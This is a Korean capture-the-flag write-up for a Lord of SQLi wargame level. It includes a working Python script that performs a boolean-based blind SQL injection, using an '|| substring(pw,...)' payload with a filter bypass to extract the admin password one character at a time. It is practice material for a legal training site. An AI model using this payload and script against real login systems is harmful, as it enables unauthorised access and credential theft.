(문제 7)
php코드를 살펴보면 admin으로 체크 했을 때 pw가 admin의 pw이면, (즉 검증함)
문제를 통과 시켜주는 것 같다.
위에 guest는 살짝 페이크 인듯.
이 문제 또한 or와 and를 막아놓았다. -> ||, &&를 이용해서 우회해주어야 함.
'or 1=1 을 pw에 주었더니, hello guest라고 출력된다. 즉 admin이 아님.
id= admin으로 입력하면 hello admin이 출력된다.
즉 hello admin이 뜨는 참 값을 찾아서, pw를 구하는
boolean based blind sql injection 인것 같다.
먼저 참값의 출력은 hello admin , 거짓은 출력 x라는 것을 알 수 있다.
그렇다면 los 4번문제처럼 python코드를 이용해서 풀어보자.
import requests
from bs4 import BeautifulSoup
query1 = "\' || substring(pw,%d,1)= %s #"
dbname = []
password = []
word = ['\'a\'', '\'b\'', '\'c\'', '\'d\'', '\'e\'', '\'f\'', '\'g\'',
'\'h\'', '\'i\'', '\'j\'', '\'k\'', '\'l\'', '\'m\'', '\'n\'', '\'o\'', '\'p\'', '\'q\'', '\'r\'', '\'s\'',
'\'t\'', '\'u\'', '\'v\'', '\'w\'', '\'x\'', '\'y\'', '\'z\'', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#print("상태 코드 : ",res.status_code)
print("========= Blind SQL injection ===========")
# 1. 사용하고 있는 DB 길이 알아내기.
print("######################data 분석 중")
num = 1
while num <= 8:
for src in word:
dbname = [query1 % (num, src)]
cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'}
params = {'id': 'admin', 'pw': dbname}
res = requests.get('https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php', params=params, cookies=cookies)
code = res.text # 전체 코드
search = "Hello admin" # 참일시 나오는 결과 값
if search in code: #코드안에 참일 시 나오는 값이 들어가 있다면
print("Data : ", src)
password += src
#print(dbname)
break
num = num+1
print("###########################완료")
print('pwd : ', '_'.join(password))
파이썬 공부한지 얼마 안됐어요..ㅠ....
가독성이 많이 떨어지네요..^^
코드가 매우 느리지만 어찌되었든, 제가 손으로 치는 것 보단 빠릅니다..^_^
python을 이용해서 얻은 pw값을 pw안에 넣어주면
클리어~_~
어렵지 않아여~_~
참고로 참일때 나오는 값이 hello admin이여야 admin에 pw와 검증 후 들어갑니다.
hello guest면 안됩니당. (주의)